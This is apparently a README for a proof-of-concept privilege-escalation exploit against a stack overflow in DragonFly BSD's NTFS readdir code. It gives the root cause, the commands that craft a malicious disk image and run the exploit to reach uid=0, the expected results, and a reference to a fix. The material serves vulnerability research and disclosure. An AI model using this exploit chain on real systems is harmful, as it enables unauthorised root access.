# DF-0873 — ntfs_readdir convname stack overflow -> uid=0

Stack buffer overflow in `ntfs_readdir()` (`sys/vfs/ntfs/ntfs_vnops.c:517,590-595`).
The `convname[256]` buffer is filled from on-disk INDEX entries with no bound on
the write index `j`; because `NTFS_U28()` sign-extends bytes `>=0x80` to a
wide value, a crafted entry with `ie_fnamelen=255` (u8 max, unvalidated) and
all-wide name chars makes `j` reach 510 — a 255-byte stack overflow that
smashes 5 callee-saved registers, saved rbp **and the return address** on the
DEFAULT GENERIC kernel (DragonFly has **no kernel stack canary**).

This PoC **escalates an unprivileged user to uid=0** on the default `#0`
GENERIC kernel (INVARIANTS ON, no SMAP/SMEP/KASLR).

## Build / run

```sh
./build.sh                       # trigger, harness, exploit
# end-to-end (needs the DragonFly guest up via dfbsd-qemu/vm.sh):
python3 craft_img.py ntfs_escalate.img 0x80 0x1337000    # escalation image
python3 craft_img.py ntfs_evil.img 0x80                  # all-wide panic-repro image
./run.sh
```

The guest-side flow (root mounts the image — the acceptable admin-mount
precondition — then the unprivileged user reads the directory):

```sh
# as root:
vnconfig -c vn0 /root/ntfs_escalate.img
mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/evil
# as maxx (uid 1001):
./exploit /mnt/evil        # -> win() writes /tmp/DF0873_ROOT (root:wheel), exit 0
```

## Expected (bug present, GENERIC #0)

* `EXPLOIT_RC=0` (win's `_exit(getuid()) == 0`).
* `/tmp/DF0873_ROOT` contains `DF0873 uid=0`, owned by **root:wheel**.
* The all-wide image instead panics with the smashed return address
  `0xff80ff80ff80ff80` visible in the backtrace and a double fault.

## Expected (fixed ntfs.ko)

* `getdents returned 24` (normal `..` dirent), `uid=1001`, no marker, no panic.

## Files

See `VERDICT.md` for the full root-cause + stack-frame + chain analysis and
`manifest.json` for the artifact catalog.  `fix.diff` is the git-apply-able fix
(bound `j` to `sizeof(convname)-1`).
